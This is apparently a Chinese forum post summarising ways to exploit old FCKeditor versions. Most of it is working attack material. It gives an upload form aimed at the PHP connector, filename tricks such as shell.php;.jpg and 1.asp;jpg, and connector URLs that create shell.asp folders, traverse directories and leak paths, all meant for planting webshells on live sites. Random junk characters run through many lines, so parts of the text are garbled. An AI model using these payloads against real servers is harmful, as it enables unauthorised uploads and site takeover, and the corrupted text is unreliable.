Fckeditor漏洞利用总结 m" {+ M( k ], m* \/ B' @9 d
查看编辑器版本3 a) {8 |$ u( Y3 h. ]/ n0 E
FCKeditor/_whatsnew.html* i% z3 o0 B- S- I. G! v9 x7 ^
—————————————————————————————————————————————————————————————# m3 `2 a+ z( Y# _
+ I9 a( z3 f j$ x u: K2. Version 2.2 版本
7 I3 j, y6 C- C2 H) g& ZApache+linux 环境下在上传文件后面加个.突破!测试通过。 t. `( ^+ Q# @/ N
—————————————————————————————————————————————————————————————
/ H7 M0 [4 t) b: d) L
3 m- w7 D$ T5 x% f- g3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。. A6 Q3 |5 a. A! O* D
<form id="frmUpload" enctype="multipart/form-data") C0 t3 T# N$ z( l: f" Y" t
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>; X+ `6 m2 ~, {1 U$ h
<input type="file" name="NewFile" size="50"><br>
( a+ W4 @& J6 D<input id="btnUpload" type="submit" value="Upload">5 w0 G& @. d3 S8 c$ C" J
</form>
% |( [' I, p$ }9 h—————————————————————————————————————————————————————————————3 t+ O9 c5 P0 R4 F1 x
0 e7 p* v; o4 c* S1 P3 `5 U4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
% x" p) |2 e7 I, w0 `& z1 m- ^ 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。4 U# }% W; m1 B2 q- V: K
4.1:提交shell.php+空格绕过
" s. b5 D( ~8 v! z2 d: I6 u不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
% \" d# d# P7 d$ x9 [7 r6 N% Z( P% M 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
/ ~; w( g2 \2 g7 S/ P j8 t—————————————————————————————————————————————————————————————
/ W4 A! e9 ]& C9 P
% X1 K7 C3 N' l7 c- D, F5. 突破建立文件夹
2 t( N% r# f. X) H' J1 nFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756843 y/ s0 C ]3 G% G M
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp/ s Y! m. V- G) y* C
—————————————————————————————————————————————————————————————% z8 E7 w$ Z4 v* [4 D5 G: c* @5 V
4 A- E- B( f- Q# d( h" z6. FCKeditor 中test 文件的上传地址% j7 S3 O5 `9 |: o' {
FCKeditor/editor/filemanager/browser/default/connectors/test.html& b' l9 x9 G& Y3 }( T
FCKeditor/editor/filemanager/upload/test.html
6 d. c3 ~+ z" T% J0 mFCKeditor/editor/filemanager/connectors/test.html: l7 r2 T+ Z& N4 T& K+ m' Y% A/ v
FCKeditor/editor/filemanager/connectors/uploadtest.html$ H% Y2 O4 F i: n( j7 L
—————————————————————————————————————————————————————————————$ s1 m# @5 K% K- Q/ B9 h/ a0 c
0 e1 {8 d; S7 R- n$ q
7.常用上传地址/ O3 H$ P3 l+ { k
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=// l6 b+ w9 M. c9 g# A- U1 E" e3 v5 G
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp' e/ [; ^* E' a
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
: Q3 u% m% D* L2 r, E. R9 QJSP 版:+ x4 F, H; X$ U8 g, b+ Y
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp% S" l* N! L5 d5 g& ]
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文1 C9 }) q$ S5 t. [7 f! q! T: V
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。9 h& Z0 ]+ H$ b l
—————————————————————————————————————————————————————————————
, J" `+ i _/ W+ @4 P
" ]" c$ r* s& `8.其他上传地址
: S- ]9 s. K7 y' x# |5 [4 qFCKeditor/_samples/default.html
8 K- n! E- [4 R2 sFCKeditor/_samples/asp/sample01.asp$ d3 u5 }! F7 ]
FCKeditor/_samples/asp/sample02.asp
1 N8 m5 S3 S. T: c. @. SFCKeditor/_samples/asp/sample03.asp, A" i5 d0 K) b+ e+ g& S
FCKeditor/_samples/asp/sample04.asp& r. E8 s) l/ `4 S: z1 r4 s0 i# `* ^
一般很多站点都已删除_samples 目录,可以试试。
" T3 U. y0 s% M/ C* a) k' OFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。0 x x4 v* X3 p1 H6 S& C0 q1 J
—————————————————————————————————————————————————————————————
7 X" W. j- E1 }9 C3 B
' z; P. W6 i6 s1 W1 l2 E9.列目录漏洞也可助找上传地址
; o! X3 v( Y+ M7 F# N) YVersion 2.4.1 测试通过% J! I9 R! X9 p3 j f2 v0 l0 m
修改CurrentFolder 参数使用 ../../来进入不同的目录
- R% m) D5 A8 f/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
3 f4 w5 d. M5 L7 g$ Z6 R9 L& l根据返回的XML 信息可以查看网站所有的目录。
( C) L/ `8 J+ p6 K7 n, xFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
( }4 Q! _$ R% {" B/ ~也可以直接浏览盘符:. Y/ x/ X$ _: `
JSP 版本:
) Z6 U# L" s# b% `4 ]. ~# ZFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
0 a& p+ S/ w! C—————————————————————————————————————————————————————————————7 B1 A8 ^5 k3 w, q) \* i* W
: C1 J' {8 w6 v5 }& j10.爆路径漏洞
; L, C* m. g. \9 {FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
" f5 I/ l+ H }" }—————————————————————————————————————————————————————————————- g8 Y9 o5 j. m* G+ {
7 @" c) S1 p6 K+ y
11. FCKeditor 被动限制策略所导致的过滤不严问题& |9 C. @% X: `6 O
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
8 b. g. T# c6 ]2 P脆弱描述:
4 h$ s! b9 I2 @* pFCKeditor v2.4.3 中File 类别默认拒绝上传类型:+ P" T6 m2 H( ]+ a; D' F
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm4 q% M2 U3 f& l: s' v0 t3 J
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
0 l8 H% C$ }4 e5 V4 U- j 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
* L6 n6 X. E l2 v. C 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
% k4 L, V3 y% ^4 S7 L5 K—————————————————————————————————————————————————————————————, E8 e. x6 l2 K, c2 T. `
4 W8 t* A. c! @6 P
12.最古老的漏洞,Type文件没有限制!- r' k/ T F$ k
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! : x# e% O8 d a
—————————————————————————————————————————————————————————————. {. y( S- T1 _/ z Z
& K4 S/ i% c$ x1 L0 J9 V' {& @/ W
===============================================================================================================================================
: W0 s# o2 u4 X: `5 ~/ e& m0 D5 u3 \/ e `2 p4 {
FCK编辑器jsp版本漏洞:
* c( x( ^' p2 a% g$ v, D
2 P. ?; m0 @9 t, }0 G
) L3 s. K4 N% n' U a3 Vhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F; N: `( s4 W$ m% ?3 ?! n" E
) n7 E6 W1 Y4 U# `# \上传马所在目录4 R8 u) H& c c- b
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
C" V, o9 D; Q1 T上传shell的地址:) c9 y) F: Y( A6 u
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector. U! Z5 k! c2 a0 j. u1 i4 u
跟版本有关系.并不是百分百成功. 测试成功几个站.
( ^2 g. r D5 D" T2 W& f6 Z不能通杀.很遗憾.( X9 K5 v9 @" p3 h5 K
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector9 H# S3 c7 P( U8 n' `/ J. f/ S" q- h6 v
如果以上地址不行可以试试
0 x2 j' q7 p0 ~& cFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector4 q0 `( u+ W; o+ u/ \8 }
FCKeditor/_samples/
+ t: t2 U- Y; t+ ?# s% FFCKeditor/_samples/default.html
, e+ C+ V; U: X0 XFCKeditor/editor/fckeditor.htm' K: E. ` K. p& i) f# t
FCKeditor/editor/fckdialog.html
6 \% J7 V, R+ E$ l! N( }) \2 `6 u( s, {/ i1 ^" [, |9 ^. j
1 D/ e" U% @% M7 I3 t8 ~; H
! B2 @: m" o: s: c- n( F+ Q解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
! p& V: P; ]+ V; }# \4 D- P |